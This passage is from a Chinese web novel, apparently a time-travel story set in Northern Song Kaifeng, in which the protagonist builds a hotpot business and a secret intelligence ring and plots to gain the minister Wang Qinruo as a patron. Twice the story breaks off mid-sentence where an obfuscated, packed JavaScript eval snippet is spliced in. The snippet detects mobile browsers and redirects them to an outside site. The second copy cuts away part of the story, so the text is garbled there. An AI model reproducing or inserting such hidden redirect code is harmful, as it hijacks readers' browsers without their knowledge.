“萧哥,外面冷,进来吧。”阿九在柜台后面喊他。 萧北翊拍了拍肩头的雪,转身进了店。店里热气腾腾,几桌客人正吃得满头大汗。他走到柜台前,拿起账册翻了翻。近一个月的利润比上个月又涨了一成,清汤萝卜虽然不赚钱,但吸引了不少新客源,其中有一些人后来开始点火锅了。 这叫“引流产品带动利润产品”,现代商业的经典打法。在北宋,这叫“萧子翼这小子鬼得很”。 雪下了两天,第三天停了。太阳出来,照在雪地上,晃得人眼睛疼。 三叔来了。 他这次没空手,提了一只杀好的老母鸡,说是从城外卖鸡蛋的老乡那里换来的。萧北翊让阿九把鸡炖了,又让赵大锤去买了几个馒头,两人坐在院子里边吃边聊。 “三叔,您上次说,那个人等我‘能独当一面’了就会来找我。”萧北翊啃着鸡腿,含混不清地问,“您觉得我现在算不算?” 三叔端起碗喝了一口鸡汤,眯着眼睛想了想。 “算,也不算。” “什么叫算也不算?” “你现在的摊子铺得不小,火锅店、消息网、囤粮、倒布匹,一般人干不成。”三叔放下碗,看着他的眼睛,“但是,你还缺一样东西。” “什么?” “能镇得住场子的威望。你现在靠的是脑子,脑子好使,但在这个世道,光有脑子不够。你还得让人怕你、服你、敬你。不是因为你聪明,而是因为你手里有他们惹不起的东西。” 萧北翊沉默了一会儿。 三叔说的“威望”,不是当官的那种威风,而是一种让人不敢轻易动你的底气。这种底气,来自于实力——不是你有多少人、多少钱,而是你能在关键时刻让对手知道,动你的代价他付不起。 “三叔,您说的这个东西,怎么来?” “慢慢来。急不得。”三叔从怀里摸出一张皱巴巴的纸,递给萧北翊,“这个给你。” 萧北翊接过来一看,是一张画着简单路线的草图,标注了几个地名和人名。 “这是?” “徐州那边几个老兄弟的地址和名字。都是当年跟着陈大哥的,现在散在各处。你要是遇到解决不了的事,可以去找他们。报陈大哥的名字,他们会帮你。”三叔顿了顿,“但不到万不得已,别去找。这些人,都想过安生日子。” 萧北翊把纸折好,收进袖子里。 “三叔,谢谢。” “别谢我。谢你爹。这些人,都是你爹当年救过的。” 三叔走后,萧北翊把那张纸拿出来又看了一遍。徐州、宿州、亳州、应天府,七八个名字散落在汴河沿线。这些人,应该都是当年他父亲在军中时的旧部,退伍后回到家乡,有的种地,有的经商,有的当了小吏。 萧北翊把纸上的信息记在脑子里,然后把纸烧了。有些东西,不能留痕迹。 十一月中旬,赤羽的消息简报上出现了一条好消息。 “萧哥,”阿九拿着简报,难得地露出了笑容,“刘二哥他们到杭州了。船队顺利,货也订好了,一百匹绢,价格比东京城低两成半。等他们回来,咱们能赚三十两左右。” 萧北翊接过简报,看了一遍,点了点头。 “让他们别急着回来。既然到了杭州,就多看看,多打听。两浙路那边有什么新鲜事,有什么新的商机,都记下来。这一趟不能只赚三十两,还要赚信息和经验。” 阿九点头,去给刘二写信了。 萧北翊站在窗前,看着外面又开始飘雪的天空。 布匹生意只是第一步。他要做的,是通过贸易把赤羽的触角从东京城延伸到其他地方。汴河沿线、两浙路、甚至更远的成都府路——这些地方,都是他的信息网和商业网要覆盖的目标。 千里之行,始于足下。第一步,就从这一百匹绢开始。 十一月下旬,萧北翊收到了一封意想不到的信。 信是范仲淹写来的。 范仲淹在信中说他现在已经到了河中府就任,地方政务繁忙,但时常想起在东京城瓦舍里遇到的那个小乞丐。信末写道:“听闻你在京师开了火锅店,生意兴隆,甚慰。若有机会再来京师,定要去尝尝你那鸳鸯锅。” 萧北翊把信看了两遍,嘴角不自觉地翘了起来。 范仲淹这个人,在他原来的世界里,是“先天下之忧而忧”的道德楷模。但在这个世界里,他们是朋友——虽然只见过一面,但那种一见如故的感觉,很真实。 他提笔写了一封回信,信中说了火锅店的近况,说了东京城的雪景,最后写道:“范公若来京师,小子亲自下厨,给您调一锅最辣的。” 写完之后,他让阿九找了一个靠谱的邮差,把信寄了出去。 十一月末,赤羽的“骨干例会”照常在葫芦巷的北屋召开。 参会的人有萧北翊、阿九、钱串子、孙驼子。刘二和赵大锤不在,城东和城北的事暂时由副手代理。 钱串子先汇报了财务情况:“萧哥,账上现存银子一百二十三两。囤粮四百五十石,分散存放在三个仓库。布匹生意如果顺利,年前能再进账三十两左右。” 萧北翊点头:“囤粮继续。速度可以放慢,但不能停。” 孙驼子汇报了城南的情况:“萧哥,城南最近多了不少生面孔。我让人盯了一下,发现这些人都是冲着相国寺来的。说是从四川来的香客,但出手很大方,不像普通香客。” “四川来的?”萧北翊眉头一挑,“又是四川。” “需要继续盯着吗?”孙驼子问。 “盯着。但要小心,不要打草惊蛇。这些人如果有问题,背后一定有人。” 阿九汇报了城中和城西的情况:“萧哥,清风茶楼那个枢密院的人,最近又出现了。这次他不是一个人来的,跟他在茶楼见面的,是一个穿灰色袍子的中年人。我的线人没看清那人的脸,但从腰间的佩饰看,至少是个五品官。” “记住时间、地点,以后可能会用上。”萧北翊说。 会议结束后,众人散去。萧北翊一个人坐在北屋里,把最近收集到的信息在脑子里汇总了一遍。 四川来的神秘买家、枢密院的密探、周德茂的合作邀请、还有那些突然出现在相国寺的“香客”——这些看似无关的信息,会不会指向同一个人或同一件事? 萧北翊暂时看不出来。但他把这些问题都记在了一个小本子上,等有了更多信息再拼图。 十二月初,刘二的船队回来了。 一百匹绢,完好无损。从杭州到东京,走大运河,历时二十三天,比预计的快了几天。刘二说路上遇到过一次小规模的盗匪,但赵大锤往船头一站,亮出拳头,那帮人就跑了。 “萧哥,这趟值了。”赵大锤晒得黑了许多,但精神头十足,“杭州那边好东西多得很,不光绢,茶叶、瓷器、扇子,都比东京便宜。咱们下次可以多带点货。” 萧北翊笑着拍了拍他的肩膀:“干得好。先休息两天,然后开始卖货。” 一百匹绢,萧北翊没有自己卖,而是交给了周世昌。周世昌做布匹生意多年,有现成的客户,三天就把货出完了。扣除成本、运费和给赵衍的一成利润,净赚了三十二两。 钱串子拿着账本,啧啧称奇:“萧哥,这一趟赚了三十二两。如果每个月跑一趟,一年就是三百多两。加上火锅店的利润,赤羽一年能赚五百多两。” “还不够。”萧北翊说,“但这些钱,足够咱们做更多的事了。” 十二月中旬,萧北翊做了一件让阿九都没想到的事——他拿出一百两银子,在城南买了一个小院子。 不是给自己住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650302|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是给赤羽的新成员住的。赤羽现在有三十多人,葫芦巷的院子太小了,挤不下。萧北翊打算把赤羽的人分两部分:核心骨干继续住在葫芦巷,外围成员住到城南的新院子里。 阿九问:“萧哥,你怎么突然想起来买院子了?” “不是突然。”萧北翊说,“是从一开始就在计划里的。赤羽要发展,必须有固定的据点和稳定的后勤。火锅店是明面上的生意,葫芦巷是情报中心,城南的院子是人力的周转站。以后,这样的据点多几个,赤羽就能在东京城扎下根。” 阿九看着他,眼神里多了一些东西。 “萧哥,你什么时候开始想这些的?” “从我第一天在破庙里醒过来的时候。” 腊月初八,腊八节。 东京城家家户户煮腊八粥,甜水巷里弥漫着红枣和糯米的香气。萧北翊让阿九煮了一大锅腊八粥,分给赤羽的每一个人,也分了一些给隔壁的老孙头和巷子里的邻居。 三叔也来了,端着一碗粥,蹲在院子里的柿子树下,慢慢喝着。 “三叔,今年过年,您就在东京城过吧。”萧北翊蹲在他旁边,也端着一碗粥。 三叔看了他一眼,没说话,继续喝粥。 “葫芦巷的院子有空房间,您搬过来住。一个人住客栈,怪冷清的。” 三叔沉默了很久,然后“嗯”了一声。 这是答应了。 萧北翊笑了,端起碗喝了一大口粥。粥很甜,甜得暖心。 腊月十五,萧北翊让钱串子给赤羽的每个人发了过年的红包。不多,每人二两银子,但足够他们买件新衣裳、吃几顿好的了。 赵大锤拿到银子,第一个冲出去买了三斤卤肉。刘二拿了银子,给远在太原的老娘寄了两匹布。阿九拿了银子,买了一支银簪,插在头上,在铜镜前照了半天。 萧北翊没有给自己发红包。他把自己那份存进了账上,算作赤羽的储备金。 阿九问他:“萧哥,你不给自己买点东西?” 萧北翊笑了笑:“我什么都不缺。” 他说的是实话。他有火锅店,有赤羽,有一群愿意跟着他的人,有一个正在慢慢浮出水面的真相。这些东西,比什么银子都值钱。 腊月二十三,小年。 萧北翊在火锅店摆了三桌,请赤羽的所有人吃了一顿年夜饭。火锅、饺子、卤肉、烧酒,管够。赵大锤喝多了,抱着刘二的肩膀说胡话。孙驼子难得地露出了笑容,端着酒杯跟钱串子碰了一杯又一杯。 阿九坐在萧北翊旁边,低声说:“萧哥,你说明年这个时候,赤羽会有多少人?” 萧北翊想了想:“也许五十,也许一百。不管多少人,咱们还是一家人。” 阿九看着他,眼睛里有光。 “萧哥,我敬你一杯。” 两人碰了杯,各自喝干了。 窗外的雪还在下,但屋里暖融融的,笑声不断。 萧北翊靠在椅背上,看着这一屋子的人,心里涌起一股奇怪的感觉。这些人,几个月前还是衣衫褴褛的乞丐,有的连饭都吃不饱。现在,他们有饭吃,有衣穿,有钱花,有尊严地活着。 这就是他来到这个世界的意义之一。改变自己的命运,也改变身边人的命运。 更大的意义,还在后面。 除夕夜,萧北翊一个人坐在北屋里,把那本《孙子兵法》从枕头底下拿出来,翻到父亲的信,又看了一遍。 “待你成年,自有人告诉你真相。” 他今年十六岁,虚岁十七。按照北宋的算法,二十岁成年。还有三年多。 三年多,说长不长,说短不短。他要在这三年里,把赤羽做大做强,把情报网络覆盖到汴河沿线,把生意做到两浙路、成都府路,让自己成为一个人物。 到时候,那个人自然会来找他。 窗外的爆竹声此起彼伏,东京城的夜空被烟火映得忽明忽暗。大中祥符四年,就在这热闹的爆竹声中,过去了。 萧北翊合上书,吹灭了油灯。 新的一年,新的棋局。 他闭上眼睛,嘴角带着一丝笑意,沉沉睡去。 13. 第十三章 明暗之间 大中祥符五年的正月初一,东京城被爆竹声淹没了。 萧北翊起了个大早,站在葫芦巷的院子里,看着满地红色的鞭炮碎屑,深吸了一口冷冽的空气。新的一年开始了。去年这个时候,他还是破庙里一个快病死的乞丐。今年这个时候,他是南北火锅的老板、赤羽的创始人、赵衍的座上客。 但越是如此,他越清醒地意识到一件事——赤羽的发展,已经到了一道坎上。 这道坎,不是钱,不是人,而是——隐蔽性。 赤羽现在有三十多个人,消息网络覆盖全城,手里捏着不少人的把柄,生意做到了两浙路。这样的规模,在东京城里已经不是“几个乞丐抱团取暖”那么简单了。官府如果真想查,不可能查不到。 问题是——官府为什么还没查? 萧北翊分析过这个问题。原因有三: 第一,赤羽的成员大多数还是乞丐身份,表面上看不出是一个有组织的团体。该讨饭的讨饭,该蹲墙根的蹲墙根,该在火锅店里端盘子的端盘子。外人看赤羽,就是一群在火锅店打工的穷伙计。 第二,赤羽的核心业务是消息买卖,但这种买卖从来不公开进行。交易都是在私下完成的,不留字据,不经过钱庄,银子直接交到赤羽手里,连账目都是用的复式记账法——就算账本被人拿到了,看不懂的人还是看不懂。 第三,也是最关键的——赤羽背后有赵衍。 但萧北翊清楚,赵衍的庇护不是万能的。赵衍自己还在朝堂上被王钦若、丁谓那帮人排挤,能护住赤羽一时,护不了一世。而且,萧北翊不想永远躲在别人身后。 该是时候调整赤羽的运营模式了。 正月初三,赤羽的核心成员在葫芦巷开了一个会。 参会的人有萧北翊、阿九、刘二、钱串子、孙驼子。赵大锤在城北看场子,没来。这是萧北翊第一次把“赤羽的未来发展”作为正式议题拿到会议上讨论。 “各位,”萧北翊开门见山,“赤羽现在的情况,大家都清楚。三十多个人,五个片区,消息网络覆盖全城,每月进账接近一百两。但是——正因为如此,赤羽已经不再是几个乞丐抱团取暖的小团伙了。它成了一个有组织、有规模、有钱的团体。” 他停顿了一下,环顾了一圈。 “这样的团体,在东京城里,迟早会引起官府的注意。” 刘二的眉头皱了起来:“子翼,你是担心官府会来查我们?” “不是担心,是必然。”萧北翊说,“早晚的事。与其等官府来查,不如我们先把赤羽藏好。” 钱串子推了推眼镜:“萧哥,‘藏好’是什么意思?咱们是乞丐,本来就够藏的了。” “不够。”萧北翊摇头,“现在的赤羽,藏在明处。我要让赤羽藏在明暗之间——明处看着正常,暗处才是真正的赤羽。” 萧北翊把自己的计划说了出来。 第一,赤羽要“分家”。把明面上的生意和暗地里的消息网络彻底分开。火锅店、布匹贸易、囤粮这些明面上的生意,由钱串子负责,注册在火锅店的名下。赤羽的消息网络,由阿九负责,跟火锅店没有任何账目往来。这样一来,就算有人查火锅店的账,也查不出赤羽的存在。 第二,赤羽要“变脸”。把骨干成员的身份洗白。刘二不再做搬运工了,萧北翊给他安排了一个“火锅店安保主管”的身份。赵大锤挂名“火锅店后厨管事”。其他人也各有各的明面身份。至于孙驼子这种不想洗白的,继续做他的乞丐,当作赤羽的“暗桩”。 第三,赤羽要“换名”。不要在内部公开使用“赤羽”这个名字。这个名字,只在最核心的几个人之间使用。对外,赤羽就是一个火锅店,一群打工的伙计,没有任何特殊之处。 阿九听完,第一个表态:“萧哥,你说的这些,我都同意。但我有一个问题。” “说。” “赤羽的消息网络,以后由谁负责?” 萧北翊看着她:“你。” 阿九愣了一下:“我?” “对。你。”萧北翊说,“阿九,你是赤羽最早的一批人里唯一识文断字的,城西的消息网是你一手建起来的,你在孙七爷面前都能不卑不亢。你来做消息网络的负责人,比我合适。” 阿九沉默了很久。 “萧哥,你这是在放权?” “对。”萧北翊笑了笑,“我手下的人,不能只会听命令。我要你们每个人都能独当一面。阿九,你来做赤羽的‘内务总管’,负责情报的收集、整理、分级。刘二哥负责外勤,钱串子负责财务,孙驼子负责暗桩,大锤负责安保。我负责——想下一步。” 屋子里安静了一瞬。 刘二第一个开口:“子翼,你想清楚了?把这么多事交给阿九,你干什么?” “我想更大的事。”萧北翊站起来,走到窗前,背对着他们,“赤羽现在做的,是东京城的事。但东京城之外,还有更大的天下。朝堂、边关、西夏、辽国——这些事,才是决定未来几十年天下走势的关键。我要去布更大的局。” 会议结束后,萧北翊把阿九单独留了下来。 “阿九,”萧北翊看着她,“你知道我为什么把情报的事交给你吗?” 阿九摇头。 “因为你比我更适合做这件事。”萧北翊说,“我是一个男人,在这世上做事,有很多地方进不去。但你是女人——女人能进男人进不去的地方,能看到男人看不到的东西。这是你最大的优势。” 阿九的眼睛亮了一下。 “而且,”萧北翊补充道,“你比我心细。我这个人,适合看全局,想大事。但情报工作是细活,需要耐心、细心、还有对人心的洞察。这些,你都比我强。” 阿九低下头,嘴角微微上扬:“萧哥,你这是第一次夸我。” “以后会经常夸的。”萧北翊拍了拍她的肩膀,“从今天起,赤羽的消息网络就交给你了。有什么事,直接跟我说。不用事事汇报,但要让我知道大方向。” 阿九抬起头,看着他的眼睛。 “萧哥,你放心。我不会让你失望的。” 正月初五,三叔搬进了葫芦巷。 萧北翊把自己住的那间北屋让给了他,自己搬到了东厢房。三叔一开始死活不肯,说“我一个糟老头子,怎么能让你搬出去”。萧北翊说“您年纪大了,住北屋暖和”,三叔才勉强接受了。 搬进来之后,三叔每天的事就是晒太阳、抽烟、跟孙驼子下棋。两个老头子棋艺半斤八两,一盘棋能下一整天,围观的人比火锅店的客人还多。 萧北翊偶尔会搬个小凳子坐在旁边看他们下棋。他不说话,就看。看两位老人如何在棋盘上你来我往、勾心斗角。这种观棋的过程,有时候比看简报更能让他看清人性。 三叔下棋有个特点——从不悔棋。走错了就走错了,输了就输了,从来不找借口。萧北翊问他为什么,他说:“棋如人生,落子无悔。悔了这一次,下次还会悔。” 萧北翊把这句话记在了心里。 正月十五,元宵节。 东京城一年中最热闹的日子。整个城市张灯结彩,从宣德门到南熏门,从马行街到甜水巷,到处都是花灯、烟火、杂耍、小吃摊。男女老少倾巢而出,把街道挤得水泄不通。 萧北翊让火锅店歇业一天,赤羽的所有人放假出去玩。赵大锤拉着几个兄弟去看灯会,刘二去了城东的朋友家喝酒,钱串子窝在屋里算账——这人放假都不忘工作,萧北翊不知道该夸他还是该骂他。 阿九没有出去玩。她一个人坐在葫芦巷的院子里,手里拿着一本书,心不在焉地翻着。 萧北翊走过去,在她旁边坐下。 “怎么不出去玩?” “不喜欢人多的地方。”阿九头也不抬。 “那你喜欢什么?” 阿九合上书,看着远处天空中的烟火。烟花一朵接一朵地在夜空中绽放,把她的脸映得忽明忽暗。 “萧哥,你说赤羽以后会变成什么样?” 萧北翊想了想:“赤羽会变成什么样,不是我说了算的,是你们说了算的。” 阿九转过头,看着他。 “萧哥,你什么时候学会说这种话了?” “我一直都会。只是以前没人值得我说。” 阿九愣了一下,然后笑了。不是那种客气的笑,而是从心底里漾出来的笑。 “萧哥,你这个人,真的很会说话。” “我这叫真诚。” 两人坐在院子里,看着漫天的烟花,谁也没再说话。 有些话,不用说。有些事,不用问。 正月十六,萧北翊去了一趟赵府。 赵衍在书房里见了他,这是第一次不在后花园的亭子里见面。书房比亭子正式得多,说明赵衍今天要谈的事,比平时要重要。 “坐。”赵衍指了指书桌对面的椅子。 萧北翊坐下,等着赵衍开口。 “子翼,你最近在做的事,我都知道了。”赵衍端起茶杯,喝了一口,“赤羽的分家、洗白、隐蔽化——这些都是对的。但你有没有想过一个问题?” “什么问题?” “赤羽现在的规模,已经不是一个‘火锅店的伙计’能解释的了。三十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵衍的话,让他意识到一个问题——赤羽的“半公开半隐蔽”,不能只是在赤羽内部调整,还需要在外部找一个“靠山”。这个靠山,不能是赵衍——赵衍本身就在王钦若的打压名单上。如果赤羽跟赵衍走得太近,反而会让王钦若更加警惕。 这个靠山,必须是王钦若自己。 与虎谋皮,听起来很危险,但也不是没有成功的机会。关键在于——让老虎觉得,你不是来抢他的肉的,而是来帮他抓羊的。 萧北翊边走边想,不知不觉走到了甜水巷口。 他抬起头,看着南北火锅的招牌在夕阳下泛着金光。招牌上“南北火锅”四个字,是他亲手写的,字迹不算好,但端正有力。 “南北”,不止是火锅。南来北往的消息,南北纵横的人脉,南腔北调的兄弟。赤羽的底色,是包容。 萧北翊推开门,走了进去。 店里热气腾腾,客人坐满了每一张桌子。阿九在柜台后面算账,刘二在角落里跟一个线人低声交谈,赵大锤在后厨忙得满头大汗。 一切都跟往常一样。但萧北翊知道,从今天起,很多事要变了。 当天夜里,萧北翊把阿九、刘二、钱串子叫到东厢房,把赵衍的话转述了一遍。 三人听完,反应各异。 刘二第一个开口:“子翼,跟王钦若做交易,这太危险了。这个人吃人不吐骨头。” 钱串子推了推眼镜:“萧哥,如果操作得当,也不是不行。关键在于——我们不能直接跟王钦若接触,要找一个中间人。” 阿九没说话,看着萧北翊。 “阿九,你怎么看?”萧北翊问。 “萧哥,我觉得与其被动等着王钦若来查我们,不如主动出击。但出击的方式,不是去投靠他,而是让他觉得——赤羽对他来说,是一个‘无害的存在’。甚至,是一个‘有用的存在’。” “怎么让他觉得?” 阿九想了想:“先查清楚王钦若最近在为什么事烦心。然后,用赤羽的消息帮他解决那个烦心事。不露面,不留名,只让他知道——有人在暗中帮他。等他好奇了、想查了,我们再让他查到赤羽。” 萧北翊的眼睛亮了。 “阿九,你这个主意好。不主动投靠,而是——引他来找我们。” 阿九点了点头:“这叫‘姜太公钓鱼,愿者上钩’。” “好。”萧北翊拍板,“就这么办。阿九,你负责查王钦若的烦心事。刘二哥,你负责准备‘钓鱼’的渠道。钱串子,你负责算账——这次的花费,不计成本。” 三人领了任务,各自散去。 萧北翊一个人坐在东厢房里,拿出那个小本子,在空白页上写了一行字: “赤羽的新阶段:从藏在暗处,到明暗之间。” 他合上本子,吹灭油灯。 窗外,月光如水。 新的一年,新的棋局,刚刚开始。 14. 第十四章 钓鱼 大中祥符五年的春天,来得不早不晚。 正月底,东京城的冰雪开始消融,甜水巷的青石板路上多了些泥泞。老孙头的豆腐摊旁边,不知谁家的杏树冒出了粉白色的花苞,给这条灰扑扑的巷子添了一抹亮色。 萧北翊站在火锅店门口,看着那棵杏树发呆。 “萧哥,你看什么呢?”赵大锤从后厨探出头来。 “看花。” “花有啥好看的?” “花好看。你不懂。”萧北翊拍了拍他的肩膀,转身进了店。 赵大锤挠挠头,嘀咕了一句“萧哥最近神神叨叨的”,回去继续切肉了。 萧北翊不是神神叨叨,他是在想事。 赤羽的“半公开化”计划已经实施了半个月。火锅店、布匹贸易、囤粮这些明面上的生意,全部归到了钱串子名下,账目清晰,干干净净。赤羽的消息网络,全部由阿九负责,跟火锅店没有任何账目往来。刘二负责外勤,手下的人有了正经身份——火锅店的“采购”“安保”“后厨帮工”,名头好听,做事方便。 三十多个人,分成了明暗两条线。明线是火锅店及其相关业务,暗线是赤羽的消息网络。两条线互不交叉,只有萧北翊和阿九知道全貌。 这套体系,萧北翊在现代叫作“前台”和“后台”,在北宋没法这么叫,他管它叫“明暗两盘棋”。 但光有内部调整还不够。赤羽需要一个“靠山”——不是赵衍,而是能让王钦若觉得“无害甚至有利用价值”的存在。萧北翊给这个计划取了个代号,叫“钓鱼”。 鱼是王钦若。钓饵,是赤羽手里最有价值的一条消息。 正月二十八,阿九带回了一条重要信息。 “萧哥,查到了。王钦若最近确实有一件烦心事。”阿九坐在东厢房里,手里拿着一个小本子,“他的侄子王仲宣,在应天府任推官,去年被人告了贪污赈灾粮。案子报到户部,被压下来了,但告状的人不甘心,直接写了状子递到了御史台。” “御史台接了?” “接了。而且已经在查了。王钦若为了这件事,最近在朝中四处活动,想把案子压下去。但御史台的人不买他的账。” 萧北翊的手指在桌上轻轻敲着。 北宋的御史台,是监察机构,权力很大,连宰相都敢弹劾。王钦若虽然是当朝宰相,但御史台那帮人都是出了名的“铁面”,不是他随便能摆平的。如果王仲宣贪污赈灾粮的案子做实了,王钦若不仅要丢面子,还可能被政敌借机攻击。 这对萧北翊来说,是一个机会。 “告状的人是谁?”萧北翊问。 “应天府的一个粮商,姓吴,叫吴德茂。他跟王仲宣有生意上的纠纷,王仲宣利用职权卡他的生意,他一怒之下就告了。” “吴德茂手里有证据吗?” “有。据说是一本王仲宣亲笔签字的账册,记录了贪污的每一笔粮食。” 萧北翊点了点头。账册是关键。如果能拿到账册,就能掌握王仲宣的罪证。但这账册在吴德茂手里,不是那么好拿的。 “阿九,吴德茂这个人,你能接触到吗?” 阿九想了想:“他在应天府,不在东京城。但赤羽在应天府有线人,可以试着接触一下。” “不急。”萧北翊站起来,走到窗前,“王钦若现在一定在到处找这个吴德茂,想在他把账册交给御史台之前把事情摆平。我们不用急着去拿账册,而是要让王钦若知道——有人能帮他拿到账册。” “萧哥,你是说——” “钓鱼。”萧北翊回过头,嘴角微微上扬,“鱼饵就是账册。鱼是王钦若。鱼竿,需要一个中间人。” 中间人的选择,萧北翊早就想好了。 这个人必须能接触到王钦若,又不能让王钦若觉得他跟赤羽有关系。他必须是王钦若信任的人——或者说,至少是王钦若觉得“可用”的人。 王隐之。太乙宫道士,王钦若的同族,不参与朝堂争斗,身份清高,王钦若对他没有戒心。更重要的是,王隐之知道赤羽的存在,也知道萧北翊的底细。 但萧北翊没有直接去找王隐之。他先去了赵府。 赵衍在书房里见他。萧北翊坐下来,开门见山:“赵大哥,我想跟您商量一件事。” 赵衍放下手中的书:“说。” 萧北翊把王钦若侄子的事、赤羽的“钓鱼”计划、以及他打算通过王隐之做中间人的想法,一五一十地说了。 赵衍听完,沉默了一会儿。 “子翼,你想好了?” “想好了。” “王钦若不是一般人。你跟他做交易,等于与虎谋皮。” “我知道。”萧北翊说,“但赤羽要想在东京城站稳脚跟,光靠我自己不行。我需要一个在朝中能说得上话的靠山。赵大哥您虽然对我有恩,但您跟王钦若是政敌,我不能把赤羽绑在您这一边。那样的话,王钦若迟早会把我当成您的棋子来打。” 赵衍的眉头皱了一下,然后舒展开了。 “你的意思是,你要在两边都站稳?” “不是两边都站稳。”萧北翊摇头,“是让两边都觉得我有用,但又都不完全属于任何一边。这样,我才能在夹缝中生存,慢慢壮大。” 赵衍盯着他看了好一会儿,然后笑了。 “子翼,你这个人,心思比我想的还要深。这件事,你自己已经有了全盘计划,来找我,不是为了问我的意见吧?” 萧北翊也笑了:“赵大哥明鉴。我来找您,是想跟您打声招呼——我要跟王钦若做交易了。这件事,可能会影响到您跟王钦若的关系。我不想瞒着您。” 赵衍端起茶杯,喝了一口,不紧不慢地说:“子翼,你跟王钦若做交易,我不反对。但你要记住——王钦若是条毒蛇,你跟他打交道,手里必须捏着他的七寸。不然,他随时可能翻脸。” “赵大哥放心,我已经留了一手。” “什么一手?” 萧北翊没有细说,只是笑了笑:“天机不可泄露。” 赵衍没有再问。他知道萧北翊这个人,该说的会说,不该说的一个字都不会漏。 从赵府出来,萧北翊直接去了太乙宫。 王隐之正在后院的菜地里种韭菜。看见萧北翊来了,他直起腰,在衣摆上擦了擦手上的泥。 “子翼,你来得正好。帮贫道把这几垄韭菜浇了。” 萧北翊二话不说,拿起水瓢,一垄一垄地浇。浇到第三垄的时候,他开口了。 “道长,我想请您帮个忙。” 王隐之蹲在地头,抽着旱烟,眯着眼睛看他。 “说。” “您能不能帮我给王钦若传个话——就说,有一个人,能帮他拿到应天府那件案子的账册。” 王隐之的烟杆顿了一下。 “子翼,你知道你在说什么吗?” “知道。” “王钦若是贫道的族亲不假,但贫道从不过问他那些事。你让贫道去传这种话,不是把贫道往火坑里推吗?” 萧北翊放下水瓢,蹲在王隐之旁边。 “道长,您不用告诉他是我。您就说,是您认识的一个朋友,手里有渠道能拿到账册。至于这个朋友是谁,您不用细说。” 王隐之沉默了很久,烟杆里的火星一明一暗。 “子翼,你为什么要帮王钦若?他是奸臣。” “我不是帮他。我是在给赤羽找一个靠山。”萧北翊说,“道长,您放心。这件事我心里有数,不会连累您。” 王隐之盯着他看了一会儿,然后叹了口气。 “你这个人,胆子太大了。不过贫道看出来了,你来找贫道之前,已经把每一步都想好了。贫道只是一个传话的,对吧?” 萧北翊笑了笑,没有否认。 王隐之把烟杆在鞋底上磕了磕,站起来。 “话我可以传。但丑话说在前头——王钦若这个人,疑心重。他要是查到你头上,贫道也保不了你。” “不需要您保。我自己能保自己。” 王隐之的回复来得比萧北翊预想的要快。 第二天傍晚,萧北翊正在火锅店算账,王隐之来了。他没进店,站在巷口的杏树下,冲萧北翊招了招手。 萧北翊走过去,王隐之压低声音说:“话传到了。他让我问你,要什么条件。” 萧北翊心里一喜,脸上不动声色。 “条件很简单。第一,以后他的人在东京城里,不能动我的人。第二,他如果需要东京城的消息,我可以提供,但价格公道。第三——” “还有第三?” “第三,现在不说。等他想起来的时候,自然会知道。” 王隐之看了他一眼,摇了摇头。 “你这个人,贫道真是看不透。” “道长,他怎么答复?” “他说要考虑考虑。”王隐之转身走了,走了几步又回头说了一句,“子翼,小心点。王钦若不是孙七爷,他吃人不吐骨头。” 萧北翊目送王隐之的背影消失在巷口,嘴角微微上扬。王钦若说“要考虑考虑”,而不是直接拒绝,说明他已经动心了。现在要做的,就是等。 等待王钦若答复的三天里,萧北翊没有闲着。 他让阿九加快了收集王仲宣案信息的进度。应天府那边的线人传回消息,吴德茂已经被王钦若的人盯上了,但他把账册藏得很隐蔽,王钦若的人翻了几次都没找到。 “萧哥,吴德茂现在躲在应天府城外的庄子上,不敢露面。”阿九拿着简报,“他手里那份账册,是王仲宣贪污赈灾粮的铁证。如果账册落到御史台手里,王仲宣至少是流放,王钦若也会被牵连。” “吴德茂想要什么?” “他想要平安。他说了,只要能保他一家老小的安全,账册可以给任何人。” 萧北翊点了点头。吴德茂要的是平安,不是银子。这说明他不是想敲诈勒索,而是真的怕了。王仲宣是王钦若的侄子,在应天府经营多年,黑白两道都有人。吴德茂一个商人,跟他们斗,等于鸡蛋碰石头。 “阿九,派个人去应天府,跟吴德茂接触一下。告诉他,账册不用交出来,只要他愿意作证,赤羽能保他安全。但这话先不说死,等王钦若那边有了准信再行动。” “萧哥,你是想——” “我想让王钦若知道,赤羽不是只会传话的。赤羽是真正能办事的。能帮他拿到账册,也能帮他摆平吴德茂。” 三月初三,王钦若的答复来了。 不是通过王隐之,而是通过一个萧北翊意想不到的人——周德茂。永丰粮铺的东家,那个之前来火锅店找他“合作”的胖子。 那天下午,周德茂大摇大摆地从正门进来了,带着一个随从,提着一盒点心。 “萧老板,多日不见,生意兴隆啊。”周德茂笑眯眯地拱手。 萧北翊心里警觉,但脸上笑容满面:“周掌柜,什么风把您吹来了?” “东风。”周德茂凑近了一些,压低声音,“有人让我带句话——‘条件可以谈,但第一条要改。’” 萧北翊心里一动。 “怎么改?” “不是‘不能动你的人’,而是‘不动你的人,但你要动别的人,得先打招呼。’”周德茂说完,直起身,恢复了笑眯眯的表情,“萧老板,我的话带到了。告辞。” 他转身走了,随从跟在后面,提着那盒点心,走了几步又回头看了看萧北翊。 萧北翊站在原地,脑子里飞快地转着。 王钦若答应了他的条件,但做了一处修改——“不动你的人,但你要动别的人,得先打招呼。”这句话的意思是,王钦若不介意赤羽的存在,甚至不介意赤羽帮他做事,但他要求赤羽的行动必须在王钦若的掌控之内。这既是一种让步,也是一种警告。 但萧北翊注意到另一个问题——周德茂。王钦若派周德茂来传话,说明周德茂是王钦若的人。那个之前来火锅店找他“合作”的粮商,不是偶然,而是王钦若在试探他。 萧北翊深吸一口气,回了后厨。这条线,比他想的要深。 